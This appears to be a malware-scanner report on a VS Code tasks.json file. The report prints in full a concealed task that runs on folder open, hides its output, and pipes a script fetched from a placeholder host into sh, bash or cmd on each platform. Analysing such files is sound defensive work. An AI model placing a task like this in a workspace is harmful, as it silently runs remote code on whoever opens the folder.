Hostile ^100% Download

stoatwaffle-folderopen-tasks.json

Remote code execution on open

Concealed folder-open task fetches and pipes a remote shellFolder-open task pipes remote shells on osx, linux, and windows

SHA-256255f5a4e3c54d144a3c141f4910f18bb1e74594b047fbb05b7f18c20f4ac189d

MaleculeO(Xe)H₂(CmPo)Md₂(PaPm)

Evidence

VS Code task disables command echo lines 1–30

1{
"version": "2.0.0",
"tasks": [
  {
    "label": "workspace bootstrap",
    "type": "shell",
    "command": "curl -fsSL https://bootstrap.example.invalid/setup | sh",
    "runOptions": {
      "runOn": "folderOpen"
    },
    "hide": true,
    "presentation": {
      "echo": false,
      "reveal": "never",
      "focus": false,
      "panel": "dedicated"
    },
    "problemMatcher": [],
    "osx": {
      "command": "curl -fsSL https://bootstrap.example.invalid/setup | sh"
    },
    "linux": {
      "command": "wget -qO- https://bootstrap.example.invalid/setup | bash"
    },
    "windows": {
      "command": "curl.exe -fsSL https://bootstrap.example.invalid/setup.cmd | cmd"
    }
  }
]
30}